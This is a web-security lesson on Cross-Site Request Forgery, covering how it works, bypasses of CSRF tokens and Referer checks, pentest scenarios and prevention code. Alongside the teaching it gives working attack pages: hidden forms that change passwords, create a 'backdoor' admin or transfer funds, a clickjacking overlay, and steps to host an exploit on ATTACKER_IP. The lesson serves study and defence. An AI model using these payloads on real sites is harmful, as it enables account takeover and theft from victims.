Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is an attack that forces an authenticated user to execute unwanted actions on a web application. The attacker tricks the victim into submitting malicious requests using their authenticated session. This lesson covers CSRF concepts, exploitation techniques, bypass methods, and prevention strategies.
What You'll Learn
- What is CSRF
- How CSRF attacks work
- CSRF vs XSS differences
- CSRF token bypasses
- Same-Origin Policy (SOP)
- Exploiting CSRF vulnerabilities
- GET vs POST CSRF attacks
- Advanced CSRF techniques
- Prevention and mitigation
What is CSRF?
The Vulnerability
CSRF occurs when:
- User is authenticated to a web application
- Application doesn't verify request origin
- Attacker tricks user into making malicious request
- Request executes with user's privileges
Impact:
- Change user settings
- Transfer funds
- Change passwords
- Create admin accounts
- Delete data
- Any action the victim can perform
CSRF vs XSS
CSRF:
- Exploits trust that site has in user's browser
- Forces victim to send requests
- Uses victim's authentication
- No JavaScript needed
XSS:
- Exploits trust that user has in site
- Executes code in victim's browser
- Steals data/sessions
- Requires JavaScript injection
How CSRF Works
Simple Example
Vulnerable Banking Application:
// transfer.php
<?php
session_start();
if ($_SESSION['logged_in']) {
$to = $_GET['to'];
$amount = $_GET['amount'];
// Transfer money (NO CSRF PROTECTION!)
transfer_money($_SESSION['user_id'], $to, $amount);
echo "Transferred $amount to $to";
}
?>
Normal Request:
https://bank.com/transfer.php?to=john&amount=100
Attack:
<!-- Attacker's malicious page -->
<img src="https://bank.com/transfer.php?to=attacker&amount=10000">
Attack Flow:
1. Victim logs into bank.com
2. Victim visits attacker's page (attacker.com)
3. Page loads image with malicious URL
4. Browser automatically sends request with victim's cookies
5. Bank transfers money to attacker
CSRF Attack Types
1. GET-based CSRF
Characteristics:
- Simple to exploit
- Works with images, links, CSS
- Parameters in URL
Attack Vectors:
<!-- Image tag -->
<img src="https://site.com/delete?id=123">
<!-- Link -->
<a href="https://site.com/transfer?to=attacker&amount=1000">Click for prize!</a>
<!-- CSS background -->
<div style="background:url('https://site.com/action?param=value')"></div>
<!-- Script tag -->
<script src="https://site.com/action?param=value"></script>
<!-- IFrame -->
<iframe src="https://site.com/action?param=value"></iframe>
2. POST-based CSRF
Characteristics:
- More common in modern apps
- Parameters in request body
- Requires form submission
Attack Vectors:
<!-- Auto-submit form -->
<html>
<body>
<form id="csrf" action="https://site.com/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
With AJAX:
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://site.com/change-password', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('password=hacked123');
</script>
Same-Origin Policy (SOP)
What is SOP?
Same-Origin Policy: Browser security mechanism that restricts how documents/scripts from one origin can interact with resources from another origin.
Origin Components:
Protocol + Domain + Port
https://example.com:443/page
└──┬──┘ └────┬─────┘ └┬┘
Protocol Domain Port
Examples:
Same Origin:
https://site.com/page1
https://site.com/page2
Different Origin:
https://site.com
http://site.com (different protocol)
https://sub.site.com (different domain)
https://site.com:8080 (different port)
SOP and CSRF
Key Point: SOP prevents reading responses, but NOT sending requests!
// This WORKS (CSRF):
fetch('https://bank.com/transfer?to=attacker&amount=1000', {
credentials: 'include' // Include cookies
});
// Request sent with cookies, action executes
// This FAILS (SOP blocks reading response):
fetch('https://bank.com/account-balance')
.then(r => r.text())
.then(data => console.log(data)); // SOP blocks this
CSRF Token Protection
What are CSRF Tokens?
CSRF Token: Random, unique value included in forms to verify request legitimacy.
How it works:
1. Server generates random token
2. Token stored in session
3. Token included in form
4. Server validates token on submission
5. Request rejected if token missing/invalid
Example:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="a8f7bc9d3e2f1a4b6c8e0d9f7a5b3c1e">
<input name="to" value="john">
<input name="amount" value="100">
<button type="submit">Transfer</button>
</form>
Bypassing CSRF Protection
1. Token Not Validated
Vulnerability: Token present but server doesn't validate it.
Test:
<!-- Remove token entirely -->
<form action="/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="1000">
</form>
<!-- Or send empty token -->
<input type="hidden" name="csrf_token" value="">
2. Token Not Tied to User Session
Vulnerability: Any valid token accepted.
Attack:
1. Attacker creates account
2. Gets valid CSRF token: abc123
3. Uses token in attack against victim
4. Victim's browser sends request with attacker's token
5. Server accepts token (not tied to victim's session)
3. Token in GET Request
Vulnerability: Token leaked in Referer header or logs.
Attack:
Victim visits: https://site.com/transfer?to=john&amount=100&csrf_token=abc123
Then visits attacker's site, Referer header leaks token:
Referer: https://site.com/transfer?to=john&amount=100&csrf_token=abc123
Attacker extracts token and uses it
4. Token Validation Only on POST
Vulnerability: GET requests bypass token validation.
Attack:
<!-- Change POST to GET -->
<img src="https://site.com/transfer?to=attacker&amount=1000">
5. Weak Token Generation
Vulnerability: Predictable tokens.
Examples:
md5(username)
md5(timestamp)
base64(username)
// Attacker can predict token
6. Token in Cookie
Vulnerability: Cookie-based tokens automatically sent.
Attack:
<!-- If token stored in cookie, browser auto-sends it -->
<form action="https://site.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="1000">
<!-- No need to include token - browser sends cookie automatically -->
</form>
7. Referer Header Validation Bypass
Weak Validation:
// Check if referer contains site.com
if (strpos($_SERVER['HTTP_REFERER'], 'site.com') !== false) {
// Allow
}
Bypass:
Host attack page at: https://attacker.com/site.com.html
Referer: https://attacker.com/site.com.html
Contains "site.com" - validation passes!
8. Subdomain Bypass
Vulnerability: CSRF protection trusts all subdomains.
Attack:
If attacker controls sub.site.com (via XSS or subdomain takeover)
Can launch CSRF from subdomain
Practical Examples
Example 1: GET-based CSRF (Password Change)
<!-- Attacker's page -->
<!DOCTYPE html>
<html>
<head>
<title>Funny Cat Video</title>
</head>
<body>
<h1>Loading video...</h1>
<!-- Hidden CSRF attack -->
<img src="https://vulnerable-site.com/change-password?new_password=hacked123"
style="display:none">
<img src="cat.jpg">
</body>
</html>
Attack Flow:
- Victim logged into vulnerable-site.com
- Attacker sends link: "Check out this funny cat video!"
- Victim clicks link to attacker's page
- Page loads with hidden image
- Image URL triggers password change
- Victim's password changed to "hacked123"
Example 2: POST-based CSRF (Email Change)
<!-- Attacker's page -->
<!DOCTYPE html>
<html>
<body>
<h1>You've won a prize!</h1>
<p>Processing your entry...</p>
<form id="csrf" action="https://vulnerable-site.com/update-email" method="POST">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
// Auto-submit form
document.getElementById('csrf').submit();
</script>
</body>
</html>
Example 3: Creating Admin Account
<!-- CSRF to create new admin user -->
<html>
<body>
<form id="attack" action="https://admin-panel.com/users/create" method="POST">
<input type="hidden" name="username" value="backdoor">
<input type="hidden" name="password" value="Secret123!">
<input type="hidden" name="role" value="administrator">
</form>
<script>
document.getElementById('attack').submit();
</script>
</body>
</html>
Example 4: Fund Transfer
<!-- Banking CSRF attack -->
<html>
<body>
<h1>Claim your $1000 reward!</h1>
<button onclick="claim()">Click here to claim</button>
<iframe name="hidden" style="display:none"></iframe>
<form id="transfer" action="https://bank.com/transfer" method="POST" target="hidden">
<input name="to_account" value="attacker_account_123">
<input name="amount" value="5000">
<input name="description" value="payment">
</form>
<script>
function claim() {
document.getElementById('transfer').submit();
alert('Congratulations! Reward will be sent to your account.');
}
</script>
</body>
</html>
Practical Pentesting Scenarios
Scenario 1: Password Change CSRF
# Target: https://site.com/change-password
# Step 1: Capture legitimate request
POST /change-password HTTP/1.1
Host: site.com
Cookie: session=abc123
password=newpass123&confirm=newpass123
# Step 2: Check for CSRF protection
# No csrf_token parameter = vulnerable!
# Step 3: Create exploit
cat > csrf_exploit.html << 'EOF'
<html>
<body>
<form id="csrf" action="https://site.com/change-password" method="POST">
<input type="hidden" name="password" value="hacked123">
<input type="hidden" name="confirm" value="hacked123">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
EOF
# Step 4: Host exploit
python3 -m http.server 80
# Step 5: Send link to victim
# http://ATTACKER_IP/csrf_exploit.html
Scenario 2: CSRF Token Bypass
# Target: Form with CSRF token
# Step 1: Capture request
POST /update-profile HTTP/1.1
Host: site.com
Cookie: session=abc123
csrf_token=xyz789&email=[email protected]
# Step 2: Test if token required
# Remove token and resubmit
csrf_token=&email=[email protected]
# If successful = token not validated!
# Step 3: Test if token tied to session
# Use your token in victim's request
csrf_token=YOUR_TOKEN&email=[email protected]
# If successful = token not session-specific!
Scenario 3: JSON CSRF
# Modern API with JSON
# Step 1: Capture request
POST /api/update HTTP/1.1
Host: api.site.com
Content-Type: application/json
Cookie: session=abc123
{"email":"[email protected]"}
# Step 2: Try form-based CSRF
<form action="https://api.site.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"[email protected]", "ignore":"' value='"}'>
</form>
# Sends:
# {"email":"[email protected]", "ignore":"="}
# Step 3: If blocked by Content-Type check, use Flash/XHR exploits
Advanced CSRF Techniques
1. clickjacking + CSRF
<!-- Combine clickjacking with CSRF -->
<html>
<head>
<style>
iframe {
position: absolute;
opacity: 0.01; /* Nearly invisible */
z-index: 1000;
}
button {
position: absolute;
top: 200px;
left: 300px;
}
</style>
</head>
<body>
<h1>Click the button to win $1000!</h1>
<button>CLAIM REWARD</button>
<iframe src="https://site.com/delete-account"></iframe>
<!-- User thinks they're clicking "CLAIM REWARD"
but actually clicking "Confirm Delete" in iframe -->
</body>
</html>
2. CSRF with File Upload
<form action="https://site.com/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="file" value="malicious.php">
</form>
<script>
document.forms[0].submit();
</script>
3. CSRF via WebSocket
// If WebSocket doesn't check origin
var ws = new WebSocket('wss://site.com/socket');
ws.onopen = function() {
ws.send(JSON.stringify({
action: 'delete_account',
user_id: 'victim'
}));
};
Detection and Testing
Manual Testing
1. Remove CSRF token
- Does request still work?
2. Use another user's token
- Is token tied to session?
3. Change POST to GET
- Does GET request work?
4. Use static/predictable token
- Can you predict token?
5. Check Referer validation
- Can you bypass with fake referer?
Burp Suite
1. Capture request in Proxy
2. Right-click → Engagement Tools → Generate CSRF PoC
3. Test PoC in browser
4. Modify and test bypasses
Prevention and Mitigation
1. CSRF Tokens (Synchronizer Token Pattern)
// PHP example
session_start();
// Generate token
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Include in form
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';
// Validate on submission
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed');
}
2. SameSite Cookie Attribute
// PHP
setcookie('session', $session_id, [
'samesite' => 'Strict', // or 'Lax'
'secure' => true,
'httponly' => true
]);
Values:
Strict: Cookie never sent in cross-site requests
Lax: Cookie sent in top-level GET requests only
None: Cookie sent in all requests (requires Secure flag)
3. Double Submit Cookie
// Set CSRF token in cookie and require it in request
document.cookie = "csrf_token=" + token;
// Send token in header
fetch('/api/endpoint', {
headers: {
'X-CSRF-Token': getCookie('csrf_token')
}
});
// Server validates cookie matches header
4. Custom Headers
// Require custom header
fetch('/api/endpoint', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest'
}
});
// Server requires header
if (!isset($_SERVER['HTTP_X_REQUESTED_WITH'])) {
die('Invalid request');
}
5. Referer/Origin Validation
// Check Origin header
$allowed_origins = ['https://site.com'];
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!in_array($origin, $allowed_origins)) {
die('Invalid origin');
}
6. Re-authentication for Sensitive Actions
// Require password for critical actions
if ($action === 'delete_account' || $action === 'transfer_money') {
if (!verify_password($_POST['password'], $user_id)) {
die('Password verification required');
}
}
Quick Reference
GET CSRF:
<img src="https://site.com/action?param=value">
<script src="https://site.com/action"></script>
POST CSRF:
<form action="https://site.com/action" method="POST">
<input name="param" value="value">
</form>
<script>document.forms[0].submit();</script>
AJAX CSRF:
fetch('https://site.com/action', {
method: 'POST',
credentials: 'include',
body: 'param=value'
});
Bypasses:
- Remove token
- Use another user's token
- Change POST to GET
- Bypass referer check
Prevention:
- CSRF tokens
- SameSite cookies
- Origin validation
- Custom headers
- Re-authentication
Resources
Tools
- Burp Suite: CSRF PoC Generator
- OWASP CSRFTester: CSRF testing tool
- CSRFmap: CSRF scanner
- Browser Developer Tools
Practice
- DVWA (Damn Vulnerable Web Application)
- bWAPP
- WebGoat
- PortSwigger CSRF Labs
- HackTheBox
Further Reading
- Cross-Site Request Forgery Research - CSRF threat models, attack vectors, and defensive controls for developers
Next Steps
- Practice CSRF exploitation on legal targets
- Master CSRF token bypasses
- Learn SameSite cookie implementation
- Study modern frameworks CSRF protection
- Combine with other attacks (XSS + CSRF)
CSRF exploits the trust a site has in the user's browser. Understanding both exploitation and prevention is crucial!
"Trust, but verify (with CSRF tokens)!"